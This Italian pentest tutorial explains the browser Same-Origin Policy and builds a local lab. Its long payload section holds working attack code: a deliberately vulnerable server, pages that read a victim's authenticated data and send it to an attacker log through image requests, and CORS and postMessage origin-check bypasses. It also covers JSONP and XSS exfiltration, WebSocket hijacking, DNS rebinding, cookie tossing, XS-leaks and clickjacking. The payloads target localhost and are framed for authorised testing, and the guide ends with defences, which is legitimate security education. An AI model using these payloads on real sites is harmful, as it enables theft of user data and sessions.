Same Origin Policy (SOP): Cos'è, Bypass e Payload Pentest

Same Origin Policy (SOP): cos'è, come funziona su schema, host e porta, e tutti i bypass con payload: CORS, postMessage, DNS rebinding, JSONP. Con laboratorio.
- Pubblicato il 2026-11-06
- Tempo di lettura: 15 min
Same-Origin Policy (SOP): Come Funziona la Sicurezza del Browser e Come Si Aggira #
La SOP è la sigla di Same-Origin Policy. Il significato è: politica della stessa origine. È la regola che impedisce a una pagina web di leggere i dati di un’altra origine. È il motivo per cui un sito malevolo aperto in una scheda non può leggere la tua posta aperta in un’altra.
Quasi tutte le vulnerabilità web client-side nascono da qui: o la SOP viene aggirata, o qualcuno la rilassa sbagliando. Capirla bene ti fa leggere CORS , XSS , CSRF e clickjacking come pezzi dello stesso puzzle.
In questa guida vedi cosa è un’origine, cosa blocca davvero la SOP (e cosa no), la provi in un laboratorio locale con tre comandi e impari le tecniche con cui si aggira nei pentest.
Cos’è la Same-Origin Policy #
La SOP è una regola del browser. Dice: uno script caricato da un’origine può leggere risorse solo della stessa origine. Se un’altra origine è diversa, il browser nasconde la risposta allo script.
Un’origine è formata da tre parti: schema (https), host (hackita.it) e porta (443). Se anche una sola cambia, l’origine è diversa. Il percorso (/app) non conta.
Due note che confondono spesso:
- La porta di default è implicita:
https://hackita.itehttps://hackita.it:443sono la stessa origine. Per HTTP la porta implicita è la 80. - Un sottodominio è un’altra origine:
https://api.hackita.itnon èhttps://hackita.it. Qualcuno cerca “same domain policy”: il nome tecnico corretto è Same-Origin Policy, perché conta anche schema e porta, non solo il dominio.
Per capire da dove arrivano schema e porta, ripassa HTTP e HTTPS .
SOP Web: cosa blocca e cosa lascia passare #
Qui sta l’errore più comune: pensare che la SOP impedisca di mandare richieste. Non è così. Impedisce di leggere la risposta.
| Azione cross-origin | La SOP la blocca? |
|---|---|
Leggere la risposta di una fetch o XMLHttpRequest (AJAX) | Sì |
Accedere al DOM di un iframe di un’altra origine | Sì |
Leggere un’immagine di un’altra origine dal canvas | Sì (il canvas viene “contaminato”) |
| Inviare una richiesta (anche POST con cookie) | No, parte comunque |
| Inviare un form verso un altro sito | No |
Incorporare immagini, CSS e <script> di altri siti | No |
Mostrare una pagina dentro un iframe | No (ci pensano altre difese, vedi sotto) |
Da questa tabella escono tre attacchi: il CSRF
funziona perché le richieste partono comunque, il clickjacking
perché l’iframe si può mostrare, e il JSONP perché i <script> di altri siti si possono caricare (ne parliamo sotto).
SOP e JavaScript: la prova pratica in un laboratorio #
La teoria si capisce con un test. Servono due server locali su porte diverse: la porta cambia, quindi sono due origini diverse. Il server B ha un dato “segreto”, la pagina del server A prova a leggerlo.
Prepara i file:
# Create the lab folders
mkdir -p sop-lab/a sop-lab/b
# Server B holds a "secret" JSON file
echo '{"secret":"token-123"}' > sop-lab/b/secret.json
# Server A serves a page that tries to read the secret from server B
cat > sop-lab/a/index.html <<'EOF'
<body>
<script>
fetch("http://127.0.0.1:8001/secret.json")
.then(response => response.text())
.then(text => document.body.append("Read: " + text))
.catch(error => document.body.append("Blocked: " + error));
</script>
</body>
EOFAvvia i due server, ognuno in un terminale diverso:
# Terminal 1: server B (origin http://127.0.0.1:8001)
cd sop-lab/b && python3 -m http.server 8001# Terminal 2: server A (origin http://127.0.0.1:8000)
cd sop-lab/a && python3 -m http.server 8000Apri http://127.0.0.1:8000 nel browser. Vedi Blocked: TypeError: Failed to fetch (su Firefox: NetworkError) e nella console un errore che parla di CORS. Ora guarda il Terminale 1:
"GET /secret.json HTTP/1.1" 200 -La richiesta è arrivata al server B e lui ha risposto 200. È il browser che non ha fatto leggere la risposta alla pagina A. Questo è il punto chiave della SOP: blocca la lettura, non l’invio.
Per vedere la SOP rilassarsi, ferma il server B e rilancialo con un piccolo script che aggiunge l’header CORS giusto:
# Stop server B with Ctrl+C, then create a server that sends the CORS header
cat > sop-lab/b/cors_server.py <<'EOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
class CorsHandler(SimpleHTTPRequestHandler):
def end_headers(self):
# Tell the browser that origin :8000 may read our responses
self.send_header("Access-Control-Allow-Origin", "http://127.0.0.1:8000")
super().end_headers()
HTTPServer(("127.0.0.1", 8001), CorsHandler).serve_forever()
EOF# Terminal 1: run it from inside the sop-lab/b folder
cd sop-lab/b && python3 cors_server.pyRicarica la pagina: ora leggi Read: {“secret”:“token-123”}. Il server ha detto al browser che quell’origine può leggere: è esattamente questo il CORS
. Se invece il server risponde con un’origine troppo larga (* o un’origine qualsiasi riflessa), l’attaccante legge i dati di tutti: è la CORS misconfiguration.
Tre cose da ricordare per l’origin javascript:
- Puoi vedere la tua origine dalla console del browser con
location.origin. - Per la richiesta cross-origin il browser aggiunge da solo l’header
Origin: http://127.0.0.1:8000: è lì che il server decide. - Il browser applica la SOP. Curl e Burp no: quando testi con Burp Suite
o
curlnon vedi mai l’errore, perché quei tool leggono tutto. Se un bug “funziona in Burp”, devi comunque verificare che funzioni dal browser della vittima.
SOP e cookie: regole diverse #
I cookie non seguono la Same-Origin Policy. Hanno le loro regole, ed è una fonte di bug.
- Un cookie impostato per
hackita.itviene mandato anche aapi.hackita.itse l’attributoDomainlo permette. - I cookie non distinguono la porta: un servizio sulla porta 8000 e uno sulla 9000 dello stesso host condividono i cookie.
- Lo schema conta soprattutto con l’attributo
Secure, che manda il cookie solo su HTTPS. SameSitedecide se il browser manda il cookie nelle richieste che partono da un altro sito. ConSameSite=LaxoStrictmolti attacchi CSRF non funzionano più.
Conseguenza pratica: se un attaccante controlla anche solo un sottodominio (per esempio con un subdomain takeover ), può impostare cookie per il dominio padre e attaccare la sessione, anche se la SOP gli impedisce di leggere le pagine. Vedi session hijacking .
Come si aggira la Same-Origin Policy #
La SOP è solida, ma intorno ci sono tecniche che la aggirano o la rendono inutile. Sono quelle che cerchi in un pentest. I payload pronti, con laboratorio, sono nella sezione dedicata più sotto.
1. XSS: la SOP non c’entra più. Se riesci a eseguire JavaScript dentro la pagina vittima, il tuo script ha la stessa origine della vittima: può leggere tutto, fare richieste e rubare dati. Per questo una XSS vale molto di più di quanto sembri. Vale anche per la DOM XSS .
2. CORS misconfiguration. Il server dichiara una policy troppo larga: riflette qualsiasi Origin, accetta null oppure usa Access-Control-Allow-Credentials: true con un’origine controllabile. Il sito dell’attaccante può leggere le risposte autenticate della vittima. È il caso più frequente: guida completa nell’articolo su CORS misconfiguration
.
3. postMessage senza controllo dell’origine. window.postMessage() è il modo ufficiale di far parlare finestre di origini diverse. Se la pagina ricevente non controlla chi manda il messaggio, un attaccante le invia dati scelti da lui. Codice vulnerabile e corretto:
// VULNERABLE: accepts messages from any origin
window.addEventListener("message", (event) => {
document.getElementById("output").innerHTML = event.data;
});
// FIXED: checks the sender origin and avoids innerHTML
window.addEventListener("message", (event) => {
if (event.origin !== "https://hackita.it") return;
document.getElementById("output").textContent = event.data;
});Anche chi invia deve fare attenzione: postMessage(data, "*") manda il dato a qualsiasi origine presente nella finestra di destinazione.
4. DNS rebinding. L’origine è definita dal nome host, non dall’IP. L’attaccante usa un dominio suo che prima risolve verso il suo server, poi cambia risposta DNS e punta a un IP interno (per esempio 127.0.0.1 o un router). Per il browser l’origine non è cambiata, quindi lo script dell’attaccante può leggere servizi che stanno nella rete interna della vittima. La difesa lato server è controllare l’header Host.
5. WebSocket: la SOP non si applica. Le connessioni WebSocket non sono bloccate dalla SOP: sta al server controllare l’header Origin durante l’handshake. Se non lo fa, un sito esterno apre il WebSocket con i cookie della vittima. È il WebSocket hijacking
.
6. JSONP e script cross-origin. I tag <script> possono caricare codice da qualsiasi origine. Alcune vecchie API (JSONP) restituiscono dati dentro una funzione JavaScript, quindi il sito dell’attaccante li legge includendo lo script. Oggi è raro, ma lo trovi nei sistemi legacy.
7. document.domain (storico). Due pagine su sottodomini diversi potevano impostare lo stesso document.domain per diventare “same origin”. Chrome oggi la disabilita di default e gli altri browser stanno seguendo: se la trovi attiva in un’app vecchia, è una superficie di attacco tra sottodomini.
8. Iframe. La SOP non vieta di mostrare un sito dentro un iframe di un’altra origine. L’attaccante può sovrapporre elementi invisibili e far cliccare la vittima sulla pagina vera (clickjacking). La difesa è frame-ancestors, che vedi qui sotto.
SameOrigin: l’header X-Frame-Options #
Non confondere la SOP con l’header X-Frame-Options: SAMEORIGIN. Quell’header dice al browser: “questa pagina può essere mostrata in un iframe solo se la pagina che la incornicia ha la mia stessa origine”.
X-Frame-Options: SAMEORIGINÈ una difesa contro il clickjacking
. La versione moderna è la direttiva CSP frame-ancestors:
Content-Security-Policy: frame-ancestors 'self''self' significa “solo la mia origine”. Nei test controlla se uno di questi due header manca: se manca, la pagina si può incorniciare.
Secure origins e contesto sicuro #
Le funzioni più sensibili del browser (camera, geolocalizzazione, service worker) funzionano solo in un contesto sicuro: pagine servite in HTTPS, oppure localhost. Su HTTP semplice il browser le nega. Quindi un’origine HTTPS è considerata più affidabile, e per questo un’app che mescola HTTP e HTTPS apre problemi (contenuto misto, downgrade).
Origine opaca e l’origine null
#
In alcuni casi l’origine è opaca e il browser la scrive null: pagine aperte da file://, iframe con l’attributo sandbox, risposte con data: e certi redirect. Alcuni sviluppatori, per far funzionare i test in locale, mettono null nella lista delle origini consentite dal CORS. È un errore classico: un attaccante può creare un iframe sandbox che invia Origin: null e ottenere accesso. Se vedi Access-Control-Allow-Origin: null, sospetta.
Differenze tra browser: Firefox e Chrome #
Le regole di base della SOP sono le stesse in tutti i browser, definite dagli standard. Cambiano i dettagli: la gestione dei cookie di terze parti, il partizionamento dello storage, l’isolamento dei processi (Chrome e Firefox separano le origini in processi diversi) e le protezioni contro gli attacchi hardware tipo Spectre (header Cross-Origin-Opener-Policy e Cross-Origin-Resource-Policy). Per un pentest il consiglio è semplice: se un exploit funziona solo su un browser, scrivilo nel report.
Payload e bypass della Same-Origin Policy (stile PayloadsAllTheThings) #
Questa è la raccolta operativa: ogni tecnica ha il payload pronto e, dove possibile, un test sul laboratorio vulnerabile qui sotto. I payload sono pensati per il tuo laboratorio locale o per bersagli per cui hai un’autorizzazione scritta.
Laboratorio vulnerabile #
Servono tre server locali. Ferma prima quelli del laboratorio precedente (porte 8000 e 8001).
- Porta 8001: l’app vittima, volutamente vulnerabile (CORS che riflette l’origine, JSONP, endpoint che cambia stato).
- Porta 8002: la pagina dell’attaccante, che serve i payload e legge i dati rubati nel log.
- Porta 8003: una pagina vittima con un listener
postMessageinsicuro.
Crea i file:
# Create the lab folders
mkdir -p sop-lab/vuln sop-lab/attacker sop-lab/receiver
# Vulnerable victim app (origin http://127.0.0.1:8001)
cat > sop-lab/vuln/vuln_server.py <<'EOF'
import base64
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs, urlparse
SESSION_COOKIE = "session=admin-session-42"
SECRET = {"user": "admin", "api_key": "KEY-9f8e7d"}
NOT_LOGGED = {"error": "not logged in"}
PIXEL = base64.b64decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")
class VulnerableHandler(BaseHTTPRequestHandler):
def logged_in(self):
return SESSION_COOKIE in self.headers.get("Cookie", "")
def reply(self, status, content_type, body):
origin = self.headers.get("Origin")
self.send_response(status)
if origin:
# VULNERABLE: reflects any Origin (even null) and allows credentials
self.send_header("Access-Control-Allow-Origin", origin)
self.send_header("Access-Control-Allow-Credentials", "true")
self.send_header("Content-Type", content_type)
self.end_headers()
self.wfile.write(body)
def do_GET(self):
url = urlparse(self.path)
data = SECRET if self.logged_in() else NOT_LOGGED
if url.path == "/login":
self.send_response(200)
self.send_header("Set-Cookie", SESSION_COOKIE + "; Path=/")
self.end_headers()
self.wfile.write(b"logged in")
elif url.path == "/api/me":
self.reply(200, "application/json", json.dumps(data).encode())
elif url.path == "/jsonp":
# VULNERABLE: JSONP endpoint, the callback name is not validated
callback = parse_qs(url.query).get("callback", ["callback"])[0]
body = f"{callback}({json.dumps(data)})".encode()
self.reply(200, "application/javascript", body)
elif url.path == "/avatar.png":
if self.logged_in():
self.reply(200, "image/gif", PIXEL)
else:
self.reply(403, "text/plain", b"forbidden")
else:
self.reply(404, "text/plain", b"not found")
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode()
if urlparse(self.path).path == "/api/transfer" and self.logged_in():
print(f"TRANSFER executed with body: {body}", flush=True)
self.reply(200, "application/json", b'{"status":"done"}')
else:
self.reply(403, "application/json", b'{"error":"forbidden"}')
HTTPServer(("127.0.0.1", 8001), VulnerableHandler).serve_forever()
EOF
# Insecure postMessage receiver (origin http://127.0.0.1:8003)
cat > sop-lab/receiver/receiver.html <<'EOF'
<body>
<div id="output">waiting for messages</div>
<script>
window.addEventListener("message", (event) => {
// VULNERABLE: no origin check, and innerHTML is an XSS sink
document.getElementById("output").innerHTML = event.data;
});
</script>
</body>
EOFAvvia i tre server, uno per terminale:
# Terminal 1: vulnerable victim app
python3 sop-lab/vuln/vuln_server.py# Terminal 2: attacker server (its log shows the stolen data)
cd sop-lab/attacker && python3 -m http.server 8002# Terminal 3: insecure postMessage receiver
cd sop-lab/receiver && python3 -m http.server 8003Poi nel browser apri http://127.0.0.1:8001/login: ti sei “autenticato” sulla vittima. Tieni la scheda aperta e usa lo stesso browser per i payload.
Nel laboratorio la vittima e l’attaccante hanno host uguale e porte diverse: per il browser sono origini diverse, ma lo stesso sito (SameSite ignora la porta). Per questo il cookie viene mandato anche dalle richieste dell’attaccante. In un bersaglio reale, con domini diversi, il cookie deve avere SameSite=None; Secure (oppure il browser deve non applicare il blocco, per esempio con browser vecchi o impostazioni particolari) perché il payload funzioni.
1. CORS: origin reflection con credenziali #
Il server riflette l’Origin che gli arriva e manda Access-Control-Allow-Credentials: true. Qualsiasi sito può leggere le risposte autenticate della vittima.
cat > sop-lab/attacker/cors-reflect.html <<'EOF'
<script>
fetch("http://127.0.0.1:8001/api/me", { credentials: "include" })
.then((response) => response.text())
.then((data) => {
// Exfiltrate the stolen response to the attacker server log
new Image().src = "http://127.0.0.1:8002/log?d=" + encodeURIComponent(data);
});
</script>
EOFApri http://127.0.0.1:8002/cors-reflect.html. Nel Terminale 2 compare una riga con /log?d=%7B%22user%22%3A%22admin%22...: è la risposta autenticata della vittima, letta da un’altra origine. Verifica a mano l’header riflesso:
# The server echoes whatever Origin you send
curl -s -i -H "Origin: https://evil.example" http://127.0.0.1:8001/api/me | grep -i "access-control"2. CORS: bypass dei controlli deboli sull’Origin #
Spesso il server non riflette tutto ma prova a controllare l’origine, e lo fa male. Prova queste varianti nell’header Origin (con Burp o curl -H "Origin: ..."):
| Controllo del server | Origin da provare |
|---|---|
endswith("hackita.it") | https://evilhackita.it |
startswith("https://hackita.it") | https://hackita.it.evil.example |
"hackita.it" in origin | https://hackita.it.evil.example |
Regex con punto non escapato e senza ancora finale (^https://hackita.it) | https://hackitaxit.evil.example |
Qualsiasi sottodominio è fidato (*.hackita.it) | Un sottodominio con XSS o takeover, es. https://dimenticato.hackita.it |
| Accetta anche la versione HTTP | http://hackita.it (richiede un attaccante sulla rete che manipola il traffico HTTP) |
Accetta null | Vedi punto 3 |
| Whitelist con porta libera | https://hackita.it:8443 se un’altra app gira su quella porta |
Un test veloce di tutta la lista:
# Try several Origin values against the lab server and print the CORS header returned
for origin in "https://evilhackita.it" "https://hackita.it.evil.example" "null" "http://hackita.it"; do
echo "Origin: $origin"
curl -s -i -H "Origin: $origin" http://127.0.0.1:8001/api/me | grep -i "access-control-allow-origin"
doneIl server del laboratorio rifletterà tutti i valori: su un bersaglio reale, guarda quali tornano riflessi e quali no.
3. CORS: origine null
#
Se il server accetta Origin: null, l’attaccante può generare quell’origine con un iframe sandbox:
cat > sop-lab/attacker/null-origin.html <<'EOF'
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('http://127.0.0.1:8001/api/me', { credentials: 'include' })
.then((response) => response.text())
.then((data) => {
new Image().src = 'http://127.0.0.1:8002/log?d=' + encodeURIComponent(data);
});
</script>"></iframe>
EOFAprendo http://127.0.0.1:8002/null-origin.html il browser invia Origin: null e il server lo riflette. Nel laboratorio il cookie non viene mandato dall’iframe sandbox (è una richiesta cross-site e il cookie è Lax di default), quindi vedrai la risposta not logged in. Su un bersaglio reale con cookie SameSite=None ottieni i dati.
4. Saltare il preflight con le richieste “simple” #
Per alcune richieste il browser chiede prima il permesso con una richiesta OPTIONS (preflight). Le richieste simple invece partono subito. Una richiesta è simple se usa metodo GET, HEAD o POST, solo header di base e uno di questi Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain.
Molte API JSON accettano un corpo JSON anche con text/plain. Così l’attaccante invia una richiesta che cambia stato senza preflight. Test sul laboratorio:
cat > sop-lab/attacker/simple-request.html <<'EOF'
<script>
// text/plain is a "simple" Content-Type: no preflight, the request is sent immediately
fetch("http://127.0.0.1:8001/api/transfer", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "text/plain" },
body: JSON.stringify({ to: "attacker", amount: 100 }),
});
// application/json needs a preflight: the lab server has no OPTIONS handler, so this fails
fetch("http://127.0.0.1:8001/api/transfer", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ to: "attacker", amount: 999 }),
}).catch((error) => console.log("Blocked by preflight: " + error));
</script>
EOFApri http://127.0.0.1:8002/simple-request.html. Nel Terminale 1 vedi una sola riga TRANSFER executed with body: {"to":"attacker","amount":100}: la richiesta text/plain è stata eseguita, quella application/json si è fermata al preflight. È lo stesso principio del CSRF
: la SOP non ferma l’invio.
5. JSONP #
Il tag <script> non è soggetto alla SOP. Se un endpoint restituisce i dati dentro una funzione scelta da chi chiama, la pagina dell’attaccante li riceve senza nessun header CORS.
cat > sop-lab/attacker/jsonp.html <<'EOF'
<script>
// The vulnerable endpoint wraps its JSON in this function name
function steal(data) {
new Image().src = "http://127.0.0.1:8002/log?d=" + encodeURIComponent(JSON.stringify(data));
}
</script>
<script src="http://127.0.0.1:8001/jsonp?callback=steal"></script>
EOFSe il nome della callback non è validato, c’è anche una XSS riflessa: callback=alert(document.domain)//. Verifica:
# The callback value is returned as JavaScript code
curl -s "http://127.0.0.1:8001/jsonp?callback=alert(document.domain)//"6. postMessage #
Il listener sulla porta 8003 non controlla event.origin e scrive nel DOM con innerHTML. La pagina dell’attaccante apre la vittima e le manda un payload:
cat > sop-lab/attacker/postmessage.html <<'EOF'
<button id="attack">Open victim and send payload</button>
<script>
document.getElementById("attack").onclick = () => {
const victim = window.open("http://127.0.0.1:8003/receiver.html");
setTimeout(() => {
// "*" lets us target any origin: the victim does not check who is sending
victim.postMessage('<img src=x onerror="alert(document.domain)">', "*");
}, 1500);
};
</script>
EOFApri http://127.0.0.1:8002/postmessage.html, clicca il pulsante: nella finestra della vittima compare alert con 127.0.0.1. È una DOM XSS causata da un messaggio cross-origin. I controlli deboli sull’origine si aggirano come per il CORS:
| Controllo in JavaScript | Origine che lo supera |
|---|---|
event.origin.indexOf("hackita.it") !== -1 | https://hackita.it.evil.example |
event.origin.endsWith("hackita.it") | https://evilhackita.it |
event.origin.startsWith("https://hackita.it") | https://hackita.it.evil.example |
| Nessun controllo | Qualsiasi origine |
Controllo su event.source invece che su event.origin | Una finestra che l’attaccante controlla e che la vittima considera fidata |
Anche i messaggi che arrivano dalla vittima possono perdersi: se l’app usa postMessage(dati, "*") verso una finestra aperta dall’attaccante, i dati sensibili arrivano a lui. Per cercare listener nel codice:
// Paste in the browser console: lists the origins of any message sent to this page
window.addEventListener("message", (event) => console.log("Message from:", event.origin, event.data));7. XSS: la SOP non conta più #
Con una XSS lo script gira nell’origine della vittima. Il payload legge dati interni e li manda fuori:
// Runs inside the victim origin: same-origin requests are allowed, so we can read everything
fetch("/api/me")
.then((response) => response.text())
.then((data) => {
new Image().src = "http://127.0.0.1:8002/log?d=" + encodeURIComponent(data);
});Su http://127.0.0.1:8001 puoi incollarlo nella console del browser per vedere il comportamento: la risposta arriva al log del Terminale 2. È il motivo per cui una XSS su un’applicazione vale più di molte altre vulnerabilità.
8. WebSocket: Cross-Site WebSocket Hijacking #
Il browser invia i cookie nell’handshake WebSocket e la SOP non blocca la connessione. Se il server non controlla Origin, una pagina esterna parla con il WebSocket della vittima:
<script>
// Replace the URL with the WebSocket endpoint of the application you are authorized to test
const socket = new WebSocket("ws://127.0.0.1:8001/ws");
socket.onopen = () => socket.send("READY");
socket.onmessage = (event) => {
new Image().src = "http://127.0.0.1:8002/log?d=" + encodeURIComponent(event.data);
};
</script>Il laboratorio non ha un endpoint WebSocket: il payload serve da modello per un’app di test. Verifica con curl se l’handshake controlla l’origine:
# A vulnerable server answers 101 Switching Protocols even with a foreign Origin
curl -s -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Origin: https://evil.example" \
http://127.0.0.1:8001/ws | head -n 1Guida completa nell’articolo sul WebSocket hijacking .
9. DNS rebinding #
L’origine è il nome, non l’IP. Il servizio pubblico rbndr.us risolve un nome alternando due IP scritti in esadecimale nel nome stesso:
7f000001.c0a80001.rbndr.us7f000001 è 127.0.0.1 e c0a80001 è 192.168.0.1. Il flusso:
- La vittima apre una pagina dell’attaccante servita da quel nome. In un attacco reale il primo IP è quello del server dell’attaccante.
- Lo script aspetta, poi richiede di nuovo lo stesso nome. Il DNS ora risponde con il secondo IP, quello interno (nell’esempio di sopra due IP locali, per provare l’alternanza).
- Per il browser l’origine non è cambiata (stesso nome e stessa porta), quindi lo script legge la risposta di un servizio interno.
// Same hostname, but the DNS answer changes between requests: read internal services
async function rebind() {
const response = await fetch("http://7f000001.c0a80001.rbndr.us:8001/api/me");
console.log(await response.text());
}
rebind();Per un attacco completo con scansione automatica si usano tool come Singularity of Origin. Le difese: controllare l’header Host sui servizi interni, autenticare anche le richieste locali e le restrizioni del browser sulle richieste verso reti private (Private Network Access).
10. Sottodomini, cookie tossing e document.domain
#
Un sottodominio compromesso (XSS o subdomain takeover ) non legge le pagine del dominio principale, ma può scrivere cookie validi per tutto il dominio:
// Cookie tossing from a compromised subdomain: the cookie is sent to the parent domain too
document.cookie = "session=attacker-value; domain=.hackita.it; path=/; Secure";Effetti: session fixation (la vittima si autentica con la sessione dell’attaccante), blocco del login con cookie troppo grandi, bypass di alcuni controlli CSRF che usano un cookie come token (“double submit”). Sugli ambienti vecchi cerca anche document.domain:
// Legacy: both subdomains set the same value to become "same origin"
// Modern Chrome ignores it unless the page sends: Origin-Agent-Cluster: ?0
document.domain = "hackita.it";11. Oracle cross-origin (XS-Leaks) #
La SOP nasconde il contenuto, ma non tutto quello che succede. Una pagina esterna può capire se sei autenticato su un altro sito guardando se una risorsa si carica o dà errore:
cat > sop-lab/attacker/probe.html <<'EOF'
<script>
// The content is hidden by the SOP, but load success versus failure is observable
const probe = new Image();
probe.onload = () => document.body.append("Victim is logged in (image loaded)");
probe.onerror = () => document.body.append("Victim is NOT logged in (image failed)");
probe.src = "http://127.0.0.1:8001/avatar.png";
</script>
EOFCon la sessione attiva (hai fatto /login) la pagina scrive Victim is logged in. Elimina il cookie dal browser e ricarica: scrive NOT logged in. Altri oracoli usati nei test e nei lavori di ricerca: il numero di frame in una finestra (window.length), i tempi di risposta, gli eventi load e error di script e CSS, la dimensione della cache.
12. Iframe: clickjacking #
La SOP non impedisce di mostrare un sito dentro un iframe. Se mancano X-Frame-Options e frame-ancestors la pagina si incornicia:
cat > sop-lab/attacker/frame.html <<'EOF'
<!-- The victim page is loaded invisibly on top of a decoy button -->
<button style="position:absolute;top:60px;left:60px;z-index:1">Win a prize</button>
<iframe src="http://127.0.0.1:8001/api/me"
style="position:absolute;top:0;left:0;width:400px;height:200px;opacity:0.3;z-index:2"></iframe>
EOFL’iframe si carica perché il laboratorio non manda nessuna difesa. Controlla sui bersagli reali:
# No X-Frame-Options and no CSP frame-ancestors in the output means the page can be framed
curl -s -I http://127.0.0.1:8001/api/me | grep -i -E "x-frame-options|content-security-policy"Approfondimento nell’articolo sul clickjacking .
Tool per automatizzare i test #
| Tool | A cosa serve |
|---|---|
| Burp Suite | Repeater per modificare l’header Origin, scanner per CORS e riflessioni |
curl | Test rapidi con -H "Origin: ..." e controllo degli header di risposta |
| Corsy e CORScanner | Scansione automatica di CORS su molti endpoint e sottodomini |
| Singularity of Origin | Framework per il DNS rebinding |
| mitmproxy | Vedere e riscrivere header e risposte, anche con script Python |
Same-Origin Policy nel workflow del pentest #
Una checklist da usare su ogni applicazione web:
- Mandi una richiesta con
Origin: https://evil.examplee guardi se la risposta contieneAccess-Control-Allow-Origincon quell’origine (riflessione). - Provi
Origin: nulle controlli se viene accettato. - Cerchi dove l’app riceve
postMessagee leggi il codice per verificare il controllo dievent.origin. - Controlli gli handshake WebSocket: l’header
Originviene verificato? - Verifichi gli header
X-Frame-Optionsoframe-ancestorssulle pagine con azioni sensibili. - Guardi gli attributi dei cookie:
Secure,HttpOnly,SameSite,Domain. - Cerchi sottodomini dimenticati che possono essere presi (subdomain takeover).
Un test veloce da riga di comando sull’origine riflessa, che puoi lanciare così com’è sul tuo server di laboratorio avviato con lo script CORS di prima:
# Send an arbitrary Origin and look at the CORS header in the response
curl -s -i -H "Origin: https://evil.example" http://127.0.0.1:8001/secret.json | grep -i "access-control"Il server del laboratorio risponde sempre con Access-Control-Allow-Origin: http://127.0.0.1:8000, anche se hai mandato https://evil.example: non riflette l’origine, quindi è configurato bene. Se vedessi Access-Control-Allow-Origin: https://evil.example, avresti trovato una riflessione.
Come difendersi #
- CORS stretto: lista esplicita di origini fidate, mai
*con le credenziali, mai riflettere l’Originsenza controllo, mai accettarenull. - Cookie sicuri:
Secure,HttpOnlyeSameSite=LaxoStrictdi default. postMessage: controlla sempreevent.originin ricezione e usa untargetOriginpreciso in invio.- WebSocket: verifica
Originnell’handshake e non basarti solo sui cookie. - Anti-iframe:
frame-ancestorsnella CSP oX-Frame-Options. - Anti DNS rebinding: valida l’header
Hostsui servizi interni. - CSP: limita da dove la pagina carica script. Una buona CSP riduce l’impatto di una XSS , che è l’aggiramento più forte della SOP.
- Rete sicura: sulle reti non fidate il traffico può essere intercettato con un attacco man in the middle , che la SOP non può fermare.
Domande frequenti sulla Same-Origin Policy #
Cos’è la Same-Origin Policy in parole semplici? È una regola del browser che permette a una pagina di leggere dati solo dalla propria origine, cioè stesso schema, stesso host e stessa porta.
La SOP blocca anche l’invio delle richieste? No. Le richieste partono comunque. La SOP blocca la lettura della risposta.
Che differenza c’è tra SOP e CORS? La SOP è il divieto di default. Il CORS è il meccanismo con cui un server dice al browser di rilassare quel divieto per certe origini.
http://hackita.it e https://hackita.it sono la stessa origine?
No: lo schema è diverso. Cambiano anche con porta o sottodominio diversi.
La Same-Origin Policy protegge dal CSRF?
No. Il CSRF sfrutta richieste che la SOP lascia passare. Servono token anti-CSRF e cookie SameSite.
Curl e Burp rispettano la SOP? No. È una regola applicata solo dal browser.
Come si aggira la SOP?
Con una XSS, una CORS misconfiguration, un postMessage senza controllo, il DNS rebinding o un WebSocket senza verifica dell’origine.
Conclusione #
La Same-Origin Policy è semplice da enunciare e difficile da sfruttare male: blocca la lettura cross-origin, non l’invio. Quasi tutto quello che si trova nel pentest web client-side è un modo di aggirarla o di rilassarla per errore. Ora che hai il modello, il passo successivo è studiare come i server la rilassano con gli header: leggi la guida alla CORS misconfiguration
e prova gli exploit sul laboratorio che hai appena costruito. Per vedere con i tuoi occhi richieste e header di ogni test, intercettali con mitmproxy
. Se invece difendi, ricorda tre regole: CORS con una lista esplicita di origini, cookie SameSite, controllo di event.origin in ogni postMessage. Per limitare cosa può fare una pagina anche in caso di XSS serve una Content Security Policy: la trovi spiegata nella guida al CSP header e ai suoi bypass
.








